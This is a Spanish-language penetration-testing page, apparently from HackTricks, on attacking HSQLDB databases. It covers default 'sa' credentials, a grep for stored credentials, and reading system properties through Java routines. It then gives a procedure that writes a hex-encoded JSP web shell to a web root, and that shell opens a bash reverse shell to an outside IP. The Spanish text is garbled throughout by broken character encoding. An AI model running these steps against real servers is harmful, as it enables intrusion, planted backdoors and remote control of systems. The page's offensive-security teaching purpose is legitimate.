tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informaci贸n B谩sica

HSQLDB (HyperSQL DataBase) es el sistema de base de datos relacional SQL l铆der escrito en Java. Ofrece un motor de base de datos peque帽o, r谩pido, multihilo y transaccional con tablas en memoria y basadas en disco, y soporta modos embebidos y de servidor.

Puerto por defecto: 9001

text
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Informaci贸n

Configuraciones Predeterminadas

Tenga en cuenta que por defecto este servicio probablemente se est茅 ejecutando en memoria o est茅 vinculado a localhost. Si lo encontr贸, probablemente explot贸 otro servicio y est谩 buscando escalar privilegios.

Las credenciales predeterminadas suelen ser sa con una contrase帽a en blanco.

Si ha explotado otro servicio, busque posibles credenciales usando

text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Tenga en cuenta el nombre de la base de datos cuidadosamente; lo necesitar谩 para conectarse.

Recolecci贸n de Informaci贸n

Con茅ctese a la instancia de la base de datos descargando HSQLDB y extrayendo hsqldb/lib/hsqldb.jar. Ejecute la aplicaci贸n GUI (eww) usando java -jar hsqldb.jar y con茅ctese a la instancia utilizando las credenciales descubiertas/d茅biles.

Tenga en cuenta que la URL de conexi贸n se ver谩 algo as铆 para un sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME.

Trucos

Rutinas del Lenguaje Java

Podemos llamar a m茅todos est谩ticos de una clase de Java desde HSQLDB utilizando Rutinas del Lenguaje Java. Tenga en cuenta que la clase llamada debe estar en el classpath de la aplicaci贸n.

Las JRTs pueden ser functions o procedures. Las funciones pueden ser llamadas a trav茅s de declaraciones SQL si el m茅todo de Java devuelve una o m谩s variables primitivas compatibles con SQL. Se invocan utilizando la declaraci贸n VALUES.

Si el m茅todo de Java que queremos llamar devuelve void, necesitamos usar un procedimiento invocado con la declaraci贸n CALL.

Lectura de Propiedades del Sistema Java

Crear funci贸n:

text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Ejecutar funci贸n:

text
VALUES(getsystemproperty('user.name'))

Puedes encontrar una lista de propiedades del sistema aqu铆.

Escribir contenido en un archivo

Puedes usar el com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename gadget de Java ubicado en el JDK (cargado autom谩ticamente en el class path de la aplicaci贸n) para escribir elementos codificados en hex en el disco a trav茅s de un procedimiento personalizado. Nota el tama帽o m谩ximo de 1024 bytes.

Crear procedimiento:

text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Ejecutar procedimiento:

text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks